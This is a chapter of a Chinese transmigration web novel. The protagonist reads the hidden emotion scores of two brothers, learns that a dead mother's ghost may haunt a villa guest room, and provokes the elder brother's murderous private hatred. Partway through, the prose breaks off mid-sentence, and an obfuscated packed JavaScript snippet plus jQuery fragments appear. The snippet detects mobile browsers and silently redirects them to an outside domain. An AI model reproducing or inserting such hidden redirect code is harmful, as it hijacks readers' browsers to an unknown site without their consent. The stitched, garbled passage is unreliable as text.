23.大哥,收手吧

作品:《驯养疯批[快穿]

    “斯道普!”


    李株噌的站起来,一巴掌拍在铁艺桌上。


    高从霭的手从他腿上滑落,跟着站起来。


    “怎么了?”他面色平静,与脑海中那些极端的想法反差强烈。


    李株:“没什么。”


    只是想让你住脑。


    庆幸本次快穿有外挂,否则还真不知道,该怎么和高从霭相处。


    李株组织了下语言,严肃教育道:“我很高兴你维护我,但主动对他人施展暴力不可取。”


    【情绪值-150,原来他也和那些人一样,认为我是个无法自控的暴力狂,有点失望,可我还是想和他做朋友】


    没想到高从霭的分值居然会减少,李株连忙补救。


    “今天那人碍于高家不敢还手,那如果以后遇到敢还手的呢?高从霭,我不想你受伤,作为朋友我会很担心。”


    【情绪值+150,对不起错怪你了,让你担心我真该死】


    李株:“……”


    “那你害怕我吗?”高从霭眼神紧张,浓黑的睫毛颤动,牙关却暗自咬紧。


    脑海中构思出许多种,如果青年想要远离他,该如何把人留下的办法。


    “你是为了帮我,我干嘛要怕你。”


    是很轻松的语气。


    高从霭这才发现,在等待回答的几秒中,他一直屏住呼吸。


    “太好了。”他抓住李株的手握紧,笑容在扩大,眼眶微红,“太好了。”


    男人的手劲儿很大,好在李株没有痛感,眉头都没皱一下,反而拍拍对方的手背安抚。


    “这有什么好激动的。”李株更想知道高从霭心里的秘密,隐晦地提醒,“你有没有其他话想告诉我。”


    男人俊逸的脸上,露出古怪的笑,“告诉你一个秘密,你之前住过的客房,是我母亲和我从前的卧室。”


    陈姨说过,高从霭的母亲没有名分,不明不白死在人工湖里。


    人捞起来的时候,高从霭就在现场。


    李株忽然想起,那天晚上他躺过的,明显更符合大部分女性审美的粉色丝绸床单……


    “那间客房,有别的女性住过吗?”怕高从霭有遗漏,他补充,“朋友或者亲戚。”


    高从霭:“母亲死后,我就搬到了隔壁房间,那个房间的所有摆设维持原样,没有任何人住过。”


    他说这些话的时候很平静,没有发病征兆。


    说明母亲的“死”,对高从霭来说不是真正的刺激点。


    人的脑容量就那么大,李株无法思考所有东西,很快就将重点转移回房间上。


    他没有发现,自己的声音在轻微颤抖:“为什么要维持原样呢?人已经去世这么多年了。”


    “因为……”阴森的笑如同嵌在毫无生气的木偶脸上,格外阴冷,高从霭一字一句地说,“她每天晚上,都要回房间啊。”


    李株的头皮炸了,顷刻间身上的汗毛根根竖起,胳膊上和脖颈上爬满了鸡皮疙瘩。


    “你在开玩笑吗?”


    “我不会开玩笑。”高从霭伸手碰了碰李株的脸,“怎么吓成这样?”


    李株拍开他的手,“那你发誓。”


    “骗你的话我就不得好死。”


    “……”李株给了高从霭的肩膀一拳,“谁让你发毒誓了,赶紧呸呸呸。”


    被人关心在乎的感觉令人上瘾、兴奋,高从霭努力控制几乎要扭曲的表情,呸了三声。


    李株跌坐回凳子上,“照你的意思,高家一直在闹鬼,对么?”


    留宿的雨夜,他做过一个溺水的噩梦。


    清早起来,发现拖鞋凌乱地摆放着,想必是高从霭的母亲想上床,却发现有人提前占了属于她的位置。


    于是她整夜都站在床前,安静看着他……


    画面太美了,李株只要多想一想就浑身发冷。


    这样一来,今天清早客厅的脚印也有了答案。


    死去的女人不满他住过她的房间,跟来了合租屋。


    沈萍芳提供的思路是对的,那是水鬼的脚印。


    “晓哲。”高从霭轻声问,“你害怕吗?害怕的话,晚上可以跟我睡。”


    李株看着他色泽深沉的眼,皱了皱眉,“你老实交代,这个所谓的秘密,是不是你为了诓我跟你睡,瞎编的。”


    “我说了,我不开玩笑,更不会撒谎。”高从霭不喜欢被他质疑,面色沉得要滴水。


    李株被他看得害怕,心虚地说:“我错了,不该怀疑你。”


    高从霭的脾气说变就变,刚才还像只讨要骨头的小狗,现在又成了黑旋风,冷冷瞥了李株一眼,转身就走。


    “喂,你等等我。”对方走得太快,不给李株挽留的机会。


    他急得抓耳挠腮,把系统叫出来。


    “统哥,高从霭有数据更新吗?”


    “有哦。”系统说完打开光屏。


    【情绪值-85,晓哲不乖,那就让他好好涨涨记性】


    丸辣。


    李株心情沉重。


    有预感,今夜将是个不眠夜。


    高从霭的消失,没有在宴会中激起半点水花。少了他,大厅回到了之前热闹轻松的氛围。


    李株走进去,再没有人敢说三道四,找了个安静的角落继续吃喝,肚子都撑圆了。


    宴会快结束前,高从俞才坐着轮椅过来,递给他一杯红酒,虚伪地致歉。


    “原本邀请你来是想好好招待的,可我实在太忙了,抱歉。”


    “你和我们这种小市民不一样,你是大忙人。”李株跟他碰杯,笑着说,“我理解。”


    是熟悉的阴阳味儿。


    照高从俞的脾气,早就黑着脸赶客了,但他生生忍下来,“你不生气就好。”


    两只高脚杯相碰,发出一声脆响。


    李株喝了一大口,瘪瘪嘴,“好辣。”


    “你喝得太急了。”高从俞说,“这是法国酒庄珍藏一百三十年的拍卖酒,你仔细闻,是不是有股淡淡的花香。初入口微甜,继而是馥郁的果香和醇厚的酒气……”


    高从俞想扳回一城,故意说李株听不懂的红酒知识。


    可惜并没有如他所愿那样,从青年脸上看到尴尬和茫然。


    很多时候,他都怀疑李株的脑子不正常,情商低不会说话,也接收不到外界的恶意。


    普通人来到这种场合,早就因为格格不入抬不起头,他倒好,窝在沙发上吃的像头猪。


    跟高从霭那个神经病是绝配。


    “听上去好高级。”李株知道他厌恶自己,故意用嘴唇抿过的位置,再次跟高从俞碰杯。


    高从俞感到恶心,硬着头皮转动杯子,喝了一口。


    李株俯身,掌心搭上男人的胳膊,高从俞闻到一股廉价的洗衣粉香气。


    “谢谢高先生的邀请,否则我这辈子都没有机会,参加上流社会的宴会。”说完,掌心顺着那条胳膊滑动。


    李株舔了嘴唇,看高从俞的眼神迷离又暧昧。


    高从俞没有抽开自己的胳膊,“以后这种机会有很多,你喜欢的话,下次我提前通知你。”


    “那太好了。”李株依旧没把手拿开,反而将身体压得更低。


    说话时的气息,扫过高从俞的鼻尖,带着些许酒气,“高先生为什么要对我这么好?”


    高从俞胃中翻江倒海。


    他知道徐晓哲是同性恋,也知道自己的言行引人误会。


    可真当对方受他迷惑,表现出暧昧时,那种发自灵魂深处的排斥和憎恶,让他的每根神经都在抽搐、疼痛。


    坏心情达到了顶峰。


    高从俞猛地推开李株,但又怕人离开,绷着脸找了个蹩脚的借口。


    “抱歉,突然想起有事,得回趟书房。”


    他撂下话就走,将自己锁进房间里。


    【负向值+180,到底还要等多久,受够了跟这种低贱的人相处】


    【负向值+210,他为什么就没被撞死,为什么为什么,如果那天他死了,哪有如今这么多事。短命鬼去死吧,马上去死!】


    【负向值+160,如果不是为了父亲,真想马上开车撞死你】


    【负向值+355,死同性恋居然敢碰我,等事情结束,我一定要剁下他的手拿去喂狗】


    一条条明细蹦出来,看得李株目瞪口呆。


    没想到高从俞恨自己到了这个地步。


    果然,出招就得狠,要不然就是隔靴搔痒,起不了作用。


    李株将以上信息又看了两遍,手捂着嘴偷笑。


    可以确定了,原主的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377175|182422||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车祸就是高从俞的手笔,而且还牵扯到了高彦和。


    他晃了晃红酒杯,在心里哼着歌,目送一个个客人离开。


    大厅里的客人陆续离开,在只剩下他一个人时,终于等来了陈姨。


    陈姨今晚忙坏了,接到高从俞的通知,便马不停蹄赶来大厅。


    见李株还在,她安下心来,“还好你没走。大少爷说夜深了,你又喝了酒,单独回家不安全,让你今晚就住别墅。”


    李株放下酒杯,“这怎么好意思。”


    陈姨:“大少爷拿你当好朋友,你这么说太见外了。”


    嗯,想剁我手的朋友。


    李株:“那好吧,我还住上次的房间吗?”


    “对,小少爷隔壁那间客房。”陈姨还有工作没忙完,交代完就匆忙离开了。


    李株熟门熟路的来到二楼,路过高从霭房间时,他敲了三下门。


    里面静悄悄的,没有人开门。


    “脾气真大。”李株嘟囔着来到旁边那间,消下去的鸡皮疙瘩又起来了。


    手握上冰冷的门把,打了个寒颤。


    如果客房真的闹鬼,陈姨和高从俞不可能不知道,该早就搬走才对。


    李株忽然想起曾经问过高从霭,既然关系不好,为什么还要住在一起。


    高从霭的回答是——


    “因为,我们是一家人。”


    现在想来,他的意思会不会是:高家人必须一起生活在别墅里?


    表里不一的哥哥,有严重精神问题的弟弟,还有一个死去的妈妈……至于高彦和这个父亲,因为身体情况特殊,可以暂时住在疗养院?


    不知在走廊站了多久,背后传来陈姨的声音。


    “小徐,怎么不进去?”


    见李株望过来,她举了举托盘,“我想着你喝了酒,来给你送蜂蜜水。”


    李株回过神,双手接过,“谢谢陈姨。”


    陈姨是个好人,不知道问她能不能得到线索。


    “你有话要说?”陈姨见他欲言又止,主动开口道,“想说什么就说吧。”


    “姨,别墅里发生过奇怪的事吗?”李株看了眼隔壁,房门紧闭,不知道高从霭听见没有。


    陈姨愣了下,“你具体指什么?”


    “闹鬼。”李株直言。


    陈姨的脸色微变,很快恢复如常,“没有的事,世界上哪儿来的鬼。”


    李株挡住她的去路,“姨,实不相瞒,我在客卧住的那天晚上,做了奇怪的梦。”


    陈姨的身子僵硬,紧闭着嘴巴没吭声。


    “梦到我溺水了。”李株编造,“还梦到一个女人站在我床头,一直看着我,她还说那是她的房间。”


    陈姨猛地打了个哆嗦。


    别墅里的确发生过怪事,经过调查,那些都是小少爷的恶作剧,不能归为闹鬼。


    但还是给她造成了不小的心理阴影。


    李株:“你一定知道什么。”


    “我不知道……“陈姨绕过李株,“我,我厨房还没收拾干净,先下去了。”


    李株站在原地,“陈姨,我知道你是个好人,不然也不会两次提醒我。”


    陈姨停下,过了几秒,她回头对李株招手,“厨房的活儿还剩很多,小徐你能下去帮帮我吗?”


    李株明白她的意思,欣喜应道:“好嘞!”


    正欲离开,高从霭的房门打开一条缝。


    屋子里没开灯,男人身后一片黑暗,五官挤在窄窄的缝隙中盯着李株。


    幽幽地说:“你还是不肯信我。”


    比起你妈妈,大兄弟你才是鬼吧。李株深吸一口气,手伸进去,落在高从霭的头顶。


    “如果不信,我完全可以当你的话是耳边风,又何必来问陈姨呢,我只是想知道更多的细节。”


    高从霭好像被说服了,垂下眼,不高兴地抿着唇。


    李株的手指陷在男人的发丝中,轻轻揉了揉,“乖,我今晚跟你睡。”


    陈姨细微的表情,足以说明宅子里藏着不少故事。


    或许,高从霭母亲的鬼魂一直都在。


    说不定她就站在客房门的另一边,偷听他们讲话。


    这种情况下,谁敢单独睡,谁就是真正的勇士。


    而李株不想当勇士。